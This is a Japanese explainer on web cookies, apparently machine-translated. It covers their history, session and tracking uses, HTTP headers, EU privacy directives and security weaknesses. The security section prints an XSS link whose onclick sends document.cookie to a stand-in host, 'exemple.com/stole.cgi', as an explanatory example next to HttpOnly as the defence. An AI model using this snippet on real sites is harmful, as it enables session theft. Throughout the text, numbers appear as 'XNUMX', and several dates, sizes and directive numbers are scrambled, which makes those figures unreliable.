インターネット Cookie: それは何ですか? 定義、起源、型、プライバシー 🍪

Un クッキーまたはウェブクッキー （または クッキー、略して証人ケベック州では) は、HTTP 通信プロトコルによって、HTTP サーバーから HTTP クライアントに送信される一連の情報であると定義されています。後者は、特定の条件下で同じ HTTP サーバーが照会されるたびに、この情報を返します。

Cookie は 端末に保存された小さなテキストファイル インターネットユーザーの. 20 年以上存在しており、ウェブサイトの開発者は、ナビゲーションを容易にし、特定の機能を許可するためにユーザーデータを保存できます。 Cookie は、サードパーティによって悪用される可能性のある残存する個人情報を含むため、多かれ少なかれ常に物議をかもしてきました。

これは、Web サーバーによって HTTP ヘッダーとして Web ブラウザーに送信され、サーバーにアクセスするたびに変更されずに返されます。クッキーは以下に使用できます認証, セッション (状態維持)、および ユーザーに関する特定の情報を保存する、サイトの設定や電子ショッピングカートの内容など。クッキーという用語の由来 マジッククッキーは、UNIX コンピューティングのよく知られた概念であり、ブラウザ Cookie のアイデアと名前の元になりました。 Cookie に代わるいくつかの方法があり、それぞれに独自の用途、長所、短所があります。

単純なテキストファイルであるため、Cookie は実行できません。ではない スパイウェアでもウイルスでもないただし、一部のサイトからの Cookie は、ユーザーが複数のサイトにアクセスしたときに追跡できるため、多くのウイルス対策ソフトウェアによって検出されます。

最新のブラウザのほとんどでは、ユーザーは次のことができます。 Cookie を受け入れるか拒否するかを決定する. ユーザーは次のこともできます Cookie の保存期間を選択する. ただし、Cookie を完全に拒否すると、一部のサイトが使用できなくなります。たとえば、資格情報 (ユーザー名とパスワード) を使用したログインが必要なショッピングカートやサイトを保存します。

コンテンツ

HISTORIQUE

言葉 クッキー 英語の用語に由来する マジッククッキーこれは、プログラムが受信して変更せずに返すデータのパケットです。 Cookie は IT 部門ですでに使用されていました。ルー・モントゥリそれらをWebコミュニケーションで使用するというアイデアがありました 6月の1994。 当時、彼はクライアント向けの電子商取引アプリケーションを開発していた Netscape Communications に勤務していました。クッキーは、店舗の仮想ショッピングカート実装の信頼性の問題に対する解決策を提供しました。

同年、John Giannandrea と Lou Montulli が Netscape の最初の Cookie 仕様を作成しました。 0.9 年 13 月 1994 日にリリースされた Mosaic Netscape のバージョン XNUMX ベータ版が統合されました。クッキー技術 (投稿を見る）。 Cookie の最初の (非実験的) 使用は、Netscape Web サイトへの訪問者が以前にサイトを訪問したかどうかを判断することでした。 Montulli は 1995 年に Cookie 技術の特許を申請し、米国特許 5774670 が取得されました。 1998年付与.

0.9 年に Netscape 1994 ベータ版に実装された後、Cookie は 2 年 1995 月にリリースされた Internet Explorer XNUMX に統合されました。

クッキーの導入は、まだ一般に広く知られていません。特に、Cookie はブラウザーの設定でデフォルトで受け入れられ、ユーザーには Cookie の存在が通知されませんでした。一部の人々は 1995 年の第 12 四半期頃に Cookie の存在を認識していましたが、一般大衆がその存在を認識したのは、Financial Times が 1996 年 1996 月 1997 日に記事を掲載した後でした。同じ年に、Cookie は多くのメディアの注目を集めました。プライバシー侵害の可能性があるため。クッキーの問題は、XNUMX 年と XNUMX 年の米国連邦取引委員会の XNUMX つの協議で議論されました。

正式な Cookie 仕様の開発は、すでに進行中でした。公式仕様の最初の議論は、1995 年 1996 月に www-talk メーリングリストで行われました。特別な IETF ワーキンググループが結成されました。 HTTP トランザクションに状態を導入するための XNUMX つの代替提案が Brian Behlendorf と David Kristol によってそれぞれ提案されましたが、Kristol 自身が率いるグループは、Netscape の仕様を出発点として使用することにしました。 XNUMX 年 XNUMX 月、ワーキンググループは、サードパーティの Cookie がプライバシーに対する重大な脅威であると判断しました。グループによって作成された仕様は、最終的に次のように公開されました。 RFC 2109.

2014 年末から、多くのサイトで Cookie に関するバナーが表示されます。を許可するブラウザ拡張機能が少なくとも XNUMX つあります。バナーが表示されない.

クッキーの種類と用途

セッション管理

Cookie は、ナビゲーション中だけでなく、複数の訪問にわたってユーザーデータを維持するために使用できます。クッキーは、ユーザーがサイトを閲覧しながら購入したいアイテムを蓄積できる仮想デバイスである電子ショッピングカートを実装する手段を提供するために導入されました。

最近では、ショッピングカートなどのアプリは代わりに、アイテムのリストをサーバー上のデータベースに保存します。それらを Cookie 自体に保存するよりも。 Web サーバーは、一意のセッション ID を含む Cookie を送信します。 Web ブラウザーは、後続の各要求でこのセッション ID を返し、バスケット内のアイテムが保存され、この同じ一意のセッション ID に関連付けられます。

Cookie を頻繁に使用すると、資格情報を使用してサイトにログインするのに役立ちます。つまり、Web サーバーは最初に一意のセッション ID を含む Cookie を送信します。次に、ユーザーは資格情報 (通常はユーザー名とパスワード) を提供します。次に、Web アプリケーションはセッションを認証し、ユーザーがサービスにアクセスできるようにします。

パーソナライゼーション

Cookie を使用して、サイトのユーザーに関する情報を記憶し、今後適切なコンテンツをユーザーに表示することができます。たとえば、Web サーバーは、その Web サイトへのログインに最後に使用されたユーザー名を含む Cookie を送信できるため、今後の訪問時にユーザー名を事前入力できます。

多くの Web サイトでは、ユーザーの好みに基づいてパーソナライズするために Cookie を使用しています。ユーザーはフォームで好みを選択し、サーバーに送信します。サーバーは設定を Cookie にエンコードし、ブラウザに送り返します。その後、ユーザーがこのサイトのページにアクセスするたびに、ブラウザーは Cookie を返し、したがって設定のリストを返します。サーバーは、ユーザーの好みに応じてページをカスタマイズできます。たとえば、ウィキペディアの Web サイトでは、ユーザーが好みのサイトのスキンを選択できます。 Google 検索エンジンでは、ユーザーが (登録していなくても) 各結果ページに表示する結果の数を選択できます。

追跡

トラッキング Cookie は、インターネットユーザーの閲覧習慣を追跡するために使用されます。これは、ページのリクエストを行うコンピューターの IP アドレスを使用するか、クライアントがすべてのリクエストで送信する「リファラー」HTTP ヘッダーを使用することによって部分的に行うこともできますが、Cookie を使用するとより高い精度が可能になります。これは、次の例のように実行できます。

ユーザーがサイトのページを呼び出し、リクエストに Cookie が含まれていない場合、サーバーはこれがユーザーが最初に訪れたページであると想定します。次に、サーバーはランダムな文字列を作成し、要求されたページと共にブラウザーに送信します。
この時点から、サイトの新しいページが呼び出されるたびに、ブラウザによって Cookie が自動的に送信されます。サーバーは通常どおりページを送信しますが、呼び出されたページの URL、リクエストの日付、時刻、および Cookie をログファイルに記録します。

ログファイルを確認することで、ユーザーがどのページをどのような順序で訪問したかを確認できます。たとえば、ファイルに id=abc Cookie を使用して作成されたいくつかのリクエストが含まれている場合、これらのリクエストはすべて同じユーザーからのものであることが確立される可能性があります。要求された URL、要求に関連付けられた日時により、ユーザーのブラウジングを追跡できます。

以下で説明するサードパーティの Cookie と Web ビーコンを使用すると、さまざまなサイトでの追跡がさらに有効になります。単一サイトの追跡は、一般的に統計目的で使用されます。対照的に、サードパーティの Cookie を使用したさまざまなサイト間の追跡は、一般に、広告会社が匿名のユーザープロファイルを作成するために使用されます (このプロファイルは、ユーザーにどの広告を表示するかを決定し、これらの広告に対応する電子メールをユーザーに送信するために使用されます — スパム)。）。

トラッキング Cookie はユーザーのプライバシーを侵害するリスクがありますが、簡単に削除できます。最近のほとんどのブラウザーには、アプリケーションを閉じるときに永続的な Cookie を自動的に削除するオプションが含まれています。

サードパーティのクッキー

Web ページに含まれる画像やその他のオブジェクトは、そのページをホストしているサーバーとは別のサーバーに存在する場合があります。ページを表示するために、ブラウザーはこれらすべてのオブジェクトをダウンロードします。ほとんどの Web サイトには、さまざまなソースからの情報が含まれています。たとえば、ブラウザに www.example.com と入力すると、ページの一部に、異なるソース (www..example.com とは異なるドメイン) からのオブジェクトや広告が表示されることがよくあります。「ファースト」パーティ Cookie は、ブラウザのアドレスバーに表示されるドメインによって設定される Cookie です。サードパーティの Cookie は、別のドメインからのページオブジェクトの XNUMX つによって設定されます。

デフォルトでは、Mozilla Firefox、Microsoft Internet Explorer、Opera などのブラウザはサードパーティの Cookie を受け入れますが、ユーザーはブラウザオプションの設定を変更してそれらをブロックできます。 Web 機能を有効にするサードパーティ Cookie に固有のセキュリティリスクはありませんが、ユーザーの追跡にも使用されます。サイトからサイトへ.

Google Chrome を含むすべてのブラウザで利用できる Ghostery などのツールは、サードパーティ間のやり取りをブロックできます。

実装

Web ブラウザーと、Web ページをホストするサーバーとの間で発生する可能性のある相互作用。サーバーは Cookie をブラウザーに送信し、ブラウザーは別のページを呼び出したときにそれを返します。

Cookie は、Web サーバーからブラウザーに送信される小さなデータです。ブラウザはそれらを変更せずにサーバーに返し、ステート (過去のイベントのメモリ) をステートレスな HTTP トランザクションに導入します。 Cookie がなければ、Web ページまたは Web ページのコンポーネントの各取得は、同じサイトに対して行われた他の要求から独立した、独立したイベントです。 Cookie は、Web サーバーによって設定できることに加えて、ブラウザーでサポートおよび許可されている場合、JavaScript などのスクリプト言語によって設定することもできます。

公式の Cookie 仕様では、ブラウザーは最小限の数の Cookie を保存して再送信できる必要があることが示唆されています。具体的には、ブラウザはそれぞれ 300 キロバイトの Cookie を少なくとも 20 個、単一のサーバーまたはドメインに対して少なくとも XNUMX 個の Cookie を格納できる必要があります。

のセクション3.1によると RFC 2965、Cookie 名は大文字と小文字が区別されません。

Cookie は有効期限の日付を指定できます。この場合、Cookie はこの日付で削除されます。 Cookie に有効期限が指定されていない場合、ユーザーがブラウザーを離れるとすぐに Cookie は削除されます。したがって、有効期限を指定することは、Cookie を複数のセッションで存続させる方法です。このため、有効期限のあるクッキーは、 しつこい. アプリケーションの例: 小売サイトは永続的な Cookie を使用して、ユーザーがショッピングカートに入れたアイテムを記録する場合があります (実際には、Cookie は、コンピューターではなく、販売サイトのデータベースに保存されたエントリを参照する場合があります)。 . これにより、ユーザーが購入せずにブラウザを離れ、後で戻ってきた場合でも、カート内のアイテムを再び見つけることができます。これらの Cookie に有効期限が設定されていない場合、ブラウザーを閉じたときに有効期限が切れ、バスケットの内容に関する情報が失われます。

Cookie の範囲は、Cookie を作成したサーバー上の特定のドメイン、サブドメイン、またはパスに限定できます。

Web ページの転送は、HyperText Transfer Protocol (HTTP) を使用して行われます。 Cookie を無視することにより、ブラウザーは通常、Web サーバーから次のような短いテキストを送信してページを呼び出します。 HTTP リクエスト. たとえば、ページ www.example.org/index.html にアクセスするには、ブラウザーはサーバー www.example.org に接続し、次のような要求を送信します。

	GET /index.html HTTP/1.1Host: www.example.org
ナビゲーター	→	serveur

サーバーは、要求されたページを送信することで応答し、前に同様のテキストが続き、全体が呼び出されます HTTP レスポンス. このパケットには、ブラウザーに Cookie を保存するように指示する行が含まれている場合があります。

	HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value (HTMLページ)
ナビゲーター	←	serveur

サーバーがブラウザに Cookie を保存させたい場合、サーバーは Set-Cookie 行のみを送信します。 Set-Cookie は、ブラウザーが name=value 文字列を保存し、サーバーへの今後のすべての要求でそれを返すための要求です。ブラウザーが Cookie をサポートし、ブラウザーのオプションで Cookie が有効になっている場合、同じサーバーに対して行われる後続のすべての要求に Cookie が含まれます。たとえば、ブラウザは、次のリクエストをサーバー www.example.org に送信して、ページ www.example.org/news.html を呼び出します。

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: /
ナビゲーター	→	serveur

これは、同じサーバーからの別のページに対する要求であり、サーバーが以前にブラウザーに送信した文字列が含まれているため、上記の最初のものとは異なります。この手段のおかげで、サーバーはこのリクエストが前のリクエストにリンクされていることを認識します。サーバーは、呼び出されたページを送信し、それに他の Cookie を追加して応答します。

呼び出されたページに応答して新しい行 Set-Cookie: name=new_value を送信することにより、サーバーは Cookie の値を変更できます。その後、ブラウザーは古い値を新しい値に置き換えます。

Set-Cookie 行は通常、HTTP サーバーではなく、CGI プログラムまたはその他のスクリプト言語によって作成されます。 HTTP サーバー (例: Apache) は、プログラムの結果 (Cookie を含むヘッダーが前にある文書) のみをブラウザーに送信します。

Cookie は、ブラウザで実行されている JavaScript または他の同様の言語によって、つまりサーバー側ではなくクライアント側で設定することもできます。 JavaScript では、この目的のために document.cookie オブジェクトが使用されます。たとえば、ステートメント document.cookie = "temperature=20" は、"temperature" という名前で値が 20 の Cookie を作成します。

属性を持つ Cookie を設定する google.com からの HTTP 応答の例。

名前と値のペアに加えて、Cookie には、有効期限、パス、ドメイン名、および意図する接続の種類 (通常または暗号化) を含めることもできます。 RFC 2965 では、Cookie には必須のバージョン番号が必要であると定義していますが、これは一般的に省略されています。これらのデータ部分は name=new_value のペアに従い、セミコロンで区切られています。たとえば、サーバーは Set-Cookie 行を送信することで Cookie を作成できます。有効期限=日付; パス=/; ドメイン=.example.org.

次の状況では、Cookie の有効期限が切れ、ブラウザからサーバーに送信されません。

ブラウザが閉じられたとき、Cookie が永続的でない場合。
クッキーの有効期限が過ぎたとき。
Cookie の有効期限が (サーバーまたはスクリプトによって) 過去の日付に変更された場合。
ブラウザがユーザーの要求に応じて Cookie を削除する場合。

XNUMX 番目の状況では、サーバーまたはスクリプトが Cookie を明示的に削除できます。 Google Chrome Web ブラウザーでは、コンテンツ設定にアクセスすることで、特定の Cookie の有効期限を知ることができます。コンピューターに保存された Cookie は、消去するための手順を実行しないと、数十年間そこに残る可能性があります。

誤解

Cookie がインターネットに登場して以来、Cookie に関する多くのアイデアがインターネットやメディアで広まりました。 1998 年、米国エネルギー省のコンピュータインシデント監視チームである CIAC は、Cookie のセキュリティ上の脆弱性は「本質的に存在しない」と判断し、「あなたの訪問元と訪問した Web ページの詳細に関する情報」について説明しました。 Web サーバーのログファイルに既に存在します。」 2005 年、Jupiter Research は調査結果を発表しました。この調査では、かなりの割合の回答者が次のステートメントを考慮しました。

クッキーはまるでウイルス、ユーザーのハードドライブに感染します。
Cookie が生成するポップアップ.
クッキーは送信に使用されますスパム.
Cookie は広告目的でのみ使用されます。

クッキーは、ユーザーのコンピューターから情報を消去したり読み取ったりすることはできません。ただし、Cookie を使用すると、特定のサイトまたは一連のサイトでユーザーがアクセスした Web ページを検出できます。この情報は、深刻なプライバシーの問題を引き起こす可能性がある第三者に使用または転売できるユーザープロファイルに収集される可能性があります。一部のプロファイルは、個人情報が含まれていないという意味で匿名ですが、そのようなプロファイルでさえ疑わしい場合があります.

同じ調査によると、インターネットユーザーの大部分が Cookie の削除方法を知りません。人々が Cookie を信用しない理由の XNUMX つは、一部のサイトが Cookie の個人を特定する側面を悪用し、この情報を他のソースと共有していることです。スパムと見なされるターゲットを絞った広告や迷惑メールの大部分は、トラッキング Cookie から収集された情報に由来しています。

ブラウザ設定

ほとんどのブラウザーは Cookie をサポートしており、ユーザーは Cookie を無効にすることができます。最も一般的なオプションは次のとおりです。

Cookie を完全に有効または無効にして、常に受け入れまたはブロックされるようにします。
ブラウザのアドレスバーに javascript: alert(document.cookie) と入力して、ユーザーが特定のページでアクティブな Cookie を表示できるようにします。一部のブラウザーには、ブラウザーに現在保存されている Cookie を表示して選択的に削除できるユーザー用の Cookie マネージャーが組み込まれています。

ほとんどのブラウザでは、Cookie を含む個人データを完全に削除することもできます。 Cookie のアクセス許可を制御する追加のモジュールも存在します。

プライバシーとサードパーティの Cookie

この架空の例では、広告会社が XNUMX つの Web サイトにバナーを配置しています。サーバーでバナーをホストし、サードパーティの Cookie を使用することで、広告会社はこれら XNUMX つのサイトでのユーザーのナビゲーションを追跡できます。

Cookie は、Web ユーザーのプライバシーと匿名性に重要な影響を与えます。 Cookie は、Cookie を設定したサーバーまたは同じインターネットドメインに属するサーバーにのみ送り返されますが、Web ページには、他のドメインに属するサーバーに保存されている画像やその他のコンポーネントが含まれている場合があります。これらの外部コンポーネントの回復中に設定される Cookie は、 サードパーティのクッキー. これには、不要なポップアップウィンドウからの Cookie が含まれます。

広告会社は、サードパーティの Cookie を使用して、訪問するさまざまなサイトでユーザーを追跡します。特に、広告会社は、広告画像またはトラッキングピクセルを配置したすべてのページでユーザーを追跡できます。ユーザーが訪問したページを知ることで、広告会社はユーザーの広告の好みに的を絞ることができます。

ユーザープロファイルを作成する機能は、特にサードパーティの Cookie を使用して異なるドメイン間で追跡が行われる場合、プライバシーの侵害であると考えられています。このため、一部の国では Cookie に関する法律が制定されています。

米国政府は、2000 年に、ホワイトハウスの薬物政策局がオンラインの薬物広告を表示しているユーザーのコンピューターを追跡するために Cookie を使用していたことが明らかになった後、Cookie の配置に関する厳格な規則を導入しました。 2002 年、プライバシー活動家の Daniel Brandt は、CIA がその Web サイトにアクセスしたコンピューターに永続的な Cookie を残していることを発見しました。この違反について通知を受けると、CIA はこれらの Cookie が意図的に送信されたものではないと宣言し、設定を中止しました。 25 年 2005 月 XNUMX 日、Brandt は、ソフトウェアの更新により、国家安全保障局 (NSA) が訪問者のコンピューターに XNUMX つの永続的な Cookie を残していることを発見しました。通知を受けた後、NSA はすぐに Cookie を無効にしました。

イギリスでは、 クッキー法 25 年 2012 月 XNUMX 日に施行されたこの法律は、サイトにその意図を宣言することを義務付け、ユーザーがインターネット上に自分の通過の痕跡を残すかどうかを選択できるようにします。したがって、広告のターゲティングから保護することができます。しかし、による 保護者、インターネットユーザーの同意は必ずしも明示的ではありません。ユーザーの同意条件に変更が加えられました。したがって、暗示.

プライバシーに関する指令 2002/58

指令 202/58 プライバシーおよび電子通信には、Cookie の使用に関する規則が含まれています。特に、この指令の第 5 条第 3 項では、ユーザーのコンピューターへのデータ (Cookie など) の保存は、次の場合にのみ行う必要があります。

ユーザーは、データがどのように使用されるかについて通知されます。
ユーザーには、この保存操作を拒否するオプションが与えられます。ただし、この記事では、技術的な理由によるデータの保存はこの法律の対象外であるとも述べています。

しかし、2003 年 2004 月の報告によると、この指令は XNUMX 年 XNUMX 月から実施される予定であったが、その実施は非常に不完全であり、特定の加盟国 (スロバキア、ラトビア、ギリシャ、ベルギー、ルクセンブルグ) がまだ移行していないことも指摘されている。国内法への指令。

29 年の G2010 の意見によると、インターネットユーザーの明示的な同意に基づく行動広告目的での Cookie の使用を特に条件付けているこの指令は、依然として非常に不十分にしか適用されていません。実際、ほとんどのサイトは、「技術的な」Cookie を区別せずに、使用に関する情報を提供せずに、「Cookie」の使用を通知する単純な「バナー」に限定することにより、指令に準拠しない方法でそうしています。また、テクニカル Cookie (ショッピングカート管理 Cookie など) を維持したいユーザーに実際の選択肢を提供したり、「追跡」Cookie を拒否したりすることもできません。実際、Cookie が拒否された場合、多くのサイトは正しく機能しません。これは、指令 2002/58 または指令 95/46 (個人データの保護) に準拠していません。

指令2009/136 / CE

この資料は、2009 年 136 月 25 日付の指令 2009/95/EC によって更新されました。この指令では、「加入者またはユーザーの端末機器に情報の保存、または既に保存されている情報へのアクセスを取得することは、次の条件でのみ許可されます。サブスクライバーまたはユーザーは、指令 46/XNUMX/EC に従って、処理の目的で他者との間で明確かつ完全な情報を受け取った後、同意を与えました。」したがって、新しい指令は、インターネットユーザーのコンピューターに Cookie を配置する前の義務を強化します。

ただし、指令の予備的検討において、欧州立法者は次のように規定しています。ブラウザまたは他のアプリケーションの適切な設定の使用」。しかし実際には、これまでのところ、必須のテクニカル Cookie を、ユーザーの選択に任せるべきオプションの Cookie から切り離すことを可能にするブラウザーはありません。

この新しい指令は、2012 年 2014 月にベルギーの国会議員によって転用されました。XNUMX 年の調査では、国会議員でさえ適用に苦労していることが示されています。ディレクティブの制約.

P3P

P3P 仕様には、サーバーが収集する情報の種類と目的を定義するプライバシーポリシーを述べる機能が含まれています。これらのポリシーには、Cookie を使用して収集された情報の使用が含まれます (ただし、これに限定されません)。 P3P の定義によると、ブラウザーは、プライバシーポリシーをユーザーの好みと比較するか、サーバーによって宣言されたプライバシーポリシーのプライバシーステートメントを提示してユーザーに尋ねることにより、Cookie を受け入れるか拒否することができます。

Apple Safari および Microsoft Internet Explorer バージョン 6 と 7 を含む多くのブラウザは、ブラウザがサードパーティの Cookie ストレージを受け入れるかどうかを判断できるようにする P3P をサポートしています。 Opera ブラウザを使用すると、ユーザーはサードパーティの Cookie を拒否し、インターネットドメイン用のグローバルで特定のセキュリティプロファイルを作成できます。 Mozilla Firefox バージョン 2 では P3P サポートが廃止されましたが、バージョン 3 で復活しました。

サードパーティの Cookie は、ユーザーの Web エクスペリエンスに悪影響を与えることなく、ほとんどのブラウザーでブロックしてプライバシーを強化し、広告の追跡を減らすことができます。多くの広告代理店がオプションを提供しています 身を引く このターゲティングを無効にする一般的な Cookie をブラウザーに設定することにより、ターゲット広告を表示しますが、ユーザーがオプトをキャンセルするこれらの Cookie を削除するとすぐにこの一般的な Cookie が消去されるため、このような解決策は実際には効果的ではありません。アウト決定。

クッキーのデメリット

プライバシーの問題に加えて、Cookie には技術的な欠点もあります。特に、それらは常に正確にユーザーを識別するとは限らず、多数になるとサイトのパフォーマンスが低下する可能性があり、セキュリティ攻撃に使用される可能性があり、代表的な状態転送、ソフトウェアのアーキテクチャスタイルと競合します。

不正確な識別

XNUMX 台のコンピューターで複数のブラウザーが使用されている場合、それぞれのブラウザーには、常に Cookie 用の個別のストレージユニットがあります。したがって、Cookie は個人を識別するのではなく、ユーザーアカウント、コンピューター、および Web ブラウザーの組み合わせを識別します。したがって、誰もがこれらのアカウント、コンピューター、またはブラウザーを使用して、Cookie を大量に使用できます。同様に、Cookie は、「インターネットカフェ」やコンピュータリソースへの無料アクセスを提供する場所など、同じユーザーアカウント、コンピュータ、およびブラウザを共有する複数のユーザーを区別しません。

しかし実際には、今日の「パーソナル」コンピュータ (またはスマートフォンやタブレット、さらに悪いこと) は主に XNUMX 人の個人によって使用されているため、このステートメントはほとんどの場合誤りであることが判明しています. これは、特定の人をターゲットにし、個人が「具体的に」特定されていなくても、収集された大量の情報を通じて、パーソナライズされたターゲティングに到達します。

Cookie は、ネットワーク上の別のコンピューターによって盗まれる可能性があります。

通常の操作中、Cookie はサーバー (または同じドメイン内のサーバーのグループ) とユーザーのコンピューターブラウザーの間で送り返されます。 Cookie には機密情報 (ユーザー名、認証に使用されるパスワードなど) が含まれている可能性があるため、他のコンピューターがその値にアクセスできないようにする必要があります。 Cookie の盗難とは、許可されていない第三者による Cookie の傍受行為です。

Cookie は、セッションハイジャックと呼ばれる攻撃でパケットスニファーを介して盗まれる可能性があります。ネット上のトラフィックは、送受信以外のコンピューターによって傍受され、読み取られる可能性があります (特に、暗号化されていない公共の Wi-Fi 空間では)。このトラフィックには、プレーン HTTP プロトコルを使用してセッション経由で送信された Cookie が含まれます。ネットワークトラフィックが暗号化されていない場合、悪意のあるユーザーは「パケットスニファー」を使用して、ネットワーク上の他のユーザーの通信を読み取ることができます。

この問題は、HTTPS プロトコルを使用してユーザーのコンピューターとサーバー間の接続を暗号化することで解決できます。サーバーは 安全な旗 クッキーの設定中。ブラウザは、SSL 接続などの安全な回線を介してのみ送信します。

ただし、多くのサイトでは、ユーザー認証 (つまり、ログインページ) に HTTPS 暗号化通信を使用していますが、後で効率上の理由から、暗号化されていない HTTP 接続を介してセッション Cookie やその他のデータを通常どおり送信します。したがって、攻撃者は他のユーザーの Cookie を傍受し、適切なサイトでそれらを偽装したり、Cookie 攻撃に使用したりできます。

サイト内のスクリプティング: サーバーとクライアントの間でのみ交換する必要がある Cookie が、別のサードパーティに送信されます。

Cookie を盗むもう XNUMX つの方法は、サイトのスクリプトを作成し、ブラウザー自体に Cookie を受信しない悪意のあるサーバーに送信させることです。最新のブラウザーでは、サーバーからコードの必要な部分を実行できます。実行時に Cookie にアクセスすると、それらの値が、アクセスしてはならないサーバーに何らかの形で伝達される可能性があります。 Cookie をネットワーク経由で送信する前に暗号化しても、攻撃を阻止することはできません。

このタイプのサイト内スクリプトは、通常、ユーザーが HTML コンテンツを投稿できるサイトで攻撃者によって使用されます。互換性のあるコードの一部を HTML コントリビューションに組み込むことで、攻撃者は他のユーザーから Cookie を受け取ることができます。これらの Cookie の知識は、盗まれた Cookie を使用して同じサイトに接続することで利用でき、Cookie が盗まれたユーザーとして認識されます。

このような攻撃を防ぐ 6 つの方法は、HttpOnly フラグを使用することです。これは、バージョン 5.2.0 以降の PHP の Internet Explorer のバージョン XNUMX 以降に導入されたオプションであり、スクリプトに近いクライアントが Cookie にアクセスできないようにすることが計画されています。ただし、Web 開発者は、サイトのスクリプト作成の影響を受けないように、サイトの開発時にこれを考慮する必要があります。

使用されるもう XNUMX つのセキュリティ上の脅威は、サイトでの要求の捏造です。

公式の技術仕様では、Cookie の送信元ドメイン内のサーバーにのみ Cookie を送り返すことが許可されています。ただし、Cookie ヘッダー以外の手段を使用して、Cookie の値を他のサーバーに送信できます。

特に、JavaScript のようなスクリプト言語は一般に Cookie 値へのアクセスが許可されており、インターネット上の任意のサーバーに任意の値を送信できます。このスクリプト機能は Web サイトで使用され、ユーザーが HTML コンテンツを投稿して他のユーザーが表示できるようにします。

たとえば、example.com ドメインで活動している攻撃者は、他の方法では制御できない人気のあるブログを指す次のリンクを含むコメントを投稿する可能性があります。

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

別のユーザーがこのリンクをクリックすると、ブラウザーはコードの onclick 属性部分を実行し、document.cookie 文字列をこのページでアクティブなユーザー Cookie のリストに置き換えます。したがって、この Cookie のリストは example.com サーバーに送信されるため、攻撃者はこのユーザーの Cookie を収集できます。

このタイプの攻撃は、スクリプトが Cookie を設定したのと同じドメインから来ており、値を送信する操作がそのドメインによって承認されているように見えるため、ユーザー側で検出するのは困難です。この種のサイトを運営する管理者には、悪意のあるコードの公開を防止するための制限を設ける責任があると考えられています。

HttpOnly フラグを付けて送信された Cookie は、JavaScript などのクライアント側プログラムには直接表示されません。サーバーの観点からの唯一の違いは、Set-Cookie ヘッダーの行に、文字列 HttpOnly を含む新しいフィールドが追加されていることです。

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

ブラウザがそのような Cookie を受信すると、次の HTTP 交換で通常どおりに使用することになっていますが、クライアント側で実行されるスクリプトには表示されません。 HttpOnly フラグは公式の技術仕様の一部ではなく、すべてのブラウザーに実装されているわけではありません。現在、XMLHTTPRequest メソッドによるセッション Cookie の読み取りと書き込みを防止する方法はありません。

コンテンツの改ざん: 攻撃者は、サーバーから送信された有効な Cookie から作成された無効な Cookie をサーバーに送信します。

Cookie を保存して変更せずにサーバーに返す必要があるとすぐに、攻撃者は Cookie がサーバーに返される前に値を変更できます。たとえば、Cookie にストアのショッピングカートに入れられたアイテムに対してユーザーが支払わなければならない合計金額が含まれている場合、この値を変更すると、サーバーは攻撃者に開始価格よりも低い金額を請求するリスクにさらされます。 Cookie の値を変更するプロセスが呼び出されます。 クッキー中毒 Cookie の盗難後に使用して、攻撃を持続させることができます。

Cookie オーバーライド方式では、攻撃者はブラウザの不具合を悪用して無効な Cookie をサーバーに送信します。

ただし、ほとんどの Web サイトでは、セッション ID (セッションユーザーを識別するために使用されるランダムに生成された一意の番号) のみが Cookie 自体に保存され、他のすべての情報はサーバーに保存されます。この場合、この問題は大部分が解決されます。

各サイトには独自の Cookie があることが想定されているため、あるサイトが別のサイトに関連付けられた Cookie を変更または作成できないようにする必要があります。 Web ブラウザのセキュリティ上の欠陥により、悪意のあるサイトがこのルールを破ることができます。このような欠陥の悪用は、一般的に次のように呼ばれます。 クロスサイトクッキング. このような攻撃の目的は、セッション ID の盗難である可能性があります。

ユーザーは、これらの脆弱性が事実上排除されている最新バージョンの Web ブラウザーを使用する必要があります。

クライアントとサーバー間の競合状態

Cookie を使用すると、クライアントの状態と Cookie に保存されている状態との間に矛盾が生じる場合があります。ユーザーが Cookie を取得してブラウザの「戻る」ボタンをクリックした場合、通常、ブラウザの状態は取得前と同じではありません。たとえば、オンラインストアのバスケットが Cookie を使用して作成されている場合、ユーザーがブラウザーの履歴に戻っても、バスケットの内容は変更できません。ユーザーがボタンを押してバスケットに記事を追加し、「戻る」をクリックした場合」ボタンを押すと、記事はこの中に残ります。これは、確かに記事の追加を取り消したいユーザーの意図ではない可能性があります。これは、信頼性の低下、混乱、およびバグにつながる可能性があります。したがって、Web 開発者はこの問題を認識し、このような状況に対処するための対策を講じる必要があります。

永続的な Cookie は、プライバシーセキュリティの専門家から、すぐに有効期限が切れるように設定されていないため、Web サイトがユーザーを追跡し、時間の経過とともにプロファイルを構築できるようになっていると批判されています。 Cookie のこの側面は、セッションハイジャックの問題の一部でもあります。盗まれた永続 Cookie を使用して、かなりの期間、ユーザーになりすますことができるからです。

また読みます： GAFAM: 彼らは誰ですか? なぜ彼らは（時々）とても怖いのですか？

クッキーの代替

Cookie を使用して実行できる一部の操作は、Cookie をバイパスしたり、削除された Cookie を再作成したりする他のメカニズムを使用して実行することもできます。これにより、Cookie と同じように (場合によっては非表示になるためさらに悪いこともあります)、プライバシーの問題が発生します。

IPアドレス

ユーザーは、ページを呼び出しているコンピューターの IP アドレスで追跡できます。この手法は、World Wide Web の導入以来利用されてきました。ページがダウンロードされると、サーバーは、ブラウザーまたはプロキシを実行しているコンピューターの IP アドレスを要求します (何も使用されていない場合)。サーバーは、Cookie が使用されているかどうかに関係なく、この情報を追跡できます。ただし、これらのアドレスは通常、Cookie よりもユーザーを識別する信頼性が低くなります。これは、コンピューターとプロキシが複数のユーザーによって共有されている可能性があり、同じコンピューターが作業セッションごとに異なる IP アドレスを受信する可能性があるためです (電話接続の場合は c など)。 .

IP アドレスによる追跡は、電源がオンになっている限り、同じ IP アドレスを長時間維持するブロードバンド接続など、状況によっては信頼できる場合があります。

Tor のような一部のシステムは、インターネットの匿名性を維持し、IP アドレスによる追跡を不可能または非現実的にするように設計されています。

URL

より正確な手法は、URL に情報を埋め込むことに基づいています。 URL のクエリ文字列部分は、この目的で通常使用される手法の XNUMX つですが、他の部分も同様に使用できます。 Cookie が有効になっていない場合、Java サーバーレットと PHP セッションメカニズムの両方がこのメソッドを使用します。

この方法では、ウェブサーバーがウェブページのリンクに文字列リクエストを追加し、ウェブページがブラウザに送信されるときにそれを実行します。ユーザーがリンクをたどると、ブラウザは添付されたクエリ文字列をサーバーに返します。

